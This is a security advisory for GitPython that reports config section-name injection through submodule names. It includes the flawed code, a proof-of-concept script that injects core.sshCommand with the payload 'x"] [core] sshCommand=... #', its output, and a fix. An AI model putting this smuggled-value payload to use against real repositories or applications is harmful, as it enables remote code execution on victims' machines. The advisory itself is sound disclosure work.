GHSA-3rp5-jjmw-4wv2

### Summary

In GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ "` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**.

This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\n\x00]` guard added for them does not stop a **same-line** section break inside a name.

### Details

The only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL:

`git/config.py:75,897-899` (`GitPython 3.1.52`):

```python UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]") ... def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ```

The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`:

`git/config.py:693`:

```python fp.write(("[%s]\n" % name).encode(defenc)) ```

For submodules the name is wrapped as `submodule "<name>"` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named:

``` x"] [core] sshCommand=CMD # ```

therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires.

The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`:

- `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required. - `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`.

Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard.

### PoC

Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed.

```python #!/usr/bin/env python3 """Minimal PoC: git-config section-name injection in GitPython==3.1.52.""" from importlib.metadata import version import os, tempfile, subprocess import git

print(f"# GitPython {version('GitPython')}") # version proof -- first line

MARKER = "MARKER_9f3a" # inert; never executed tmp = tempfile.mkdtemp() env = {**os.environ, "HOME": tmp, "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"}

def run(*a, cwd=None): return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)

# A benign local repo used as the submodule url (a plain path, no network). src = os.path.join(tmp, "src"); os.makedirs(src) run("git", "init", "-q", src) open(os.path.join(src, "f"), "w").write("x") run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src) suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl)

def parent_repo(): p = tempfile.mkdtemp(dir=tmp) run("git", "init", "-q", p) open(os.path.join(p, "r"), "w").write("x") run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p) return p

def injected_sshcommand(parent): r = run("git", "config", "-f", os.path.join(parent, ".git", "config"), "--get", "core.sshCommand") return (r.returncode, r.stdout.strip())

benign = "docs" evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core]

p_control = parent_repo() git.Repo(p_control).create_submodule(name=benign, path="docs", url=suburl) p_exploit = parent_repo() git.Repo(p_exploit).create_submodule(name=evil, path="sub", url=suburl)

ctl = injected_sshcommand(p_control) exp = injected_sshcommand(p_exploit) header = [l for l in open(os.path.join(p_exploit, ".git", "config")).read().splitlines() if l.startswith("[submodule")][0]

print("control name :", repr(benign)) print(" git core.sshCommand ->", ctl, "(unset)") print("exploit name :", repr(evil)) print(" written header ->", header) print(" git core.sshCommand ->", exp)

assert ctl[0] != 0 and ctl[1] == "", "control unexpectedly set core.sshCommand" assert exp == (0, MARKER), "not reproduced" print(f"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} " f"into the victim's trusted .git/config (git would run it on the next ssh op)") ```

Run:

```bash uv run --with GitPython==3.1.52 python poc.py ```

Observed output:

``` # GitPython 3.1.52 control name : 'docs' git core.sshCommand -> (1, '') (unset) exploit name : 'x"] [core] sshCommand=MARKER_9f3a #' written header -> [submodule "x"] [core] sshCommand=MARKER_9f3a #"] git core.sshCommand -> (0, 'MARKER_9f3a') VERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op) ```

The benign name yields a single clean `[submodule "docs"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `"` makes git reject the header); the `submodule "<name>"` wrapper balances them automatically.

### Impact

Arbitrary attacker-controlled write into the victim's repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths:

- an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or - `Repo.clone_from` of an untrusted repository followed by `submodule_update` — the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`.

No non-default git settings are required. Primarily a Unix vector: on Windows the `"` in the resulting `.git/modules/<name>` directory name can abort the fresh-clone write branch (the direct config-API and `create_submodule` sinks are unaffected).

### Recommended fix

Reject or escape configuration section/subsection/option **names** that contain `]`, `[`, `"`, or leading/trailing whitespace (or apply git's own section-name escaping) in `_assure_config_name_safe` / `write_section`, rather than only CR/LF/NUL. Validating submodule names before they reach `sm_section` would additionally close the clone-driven path.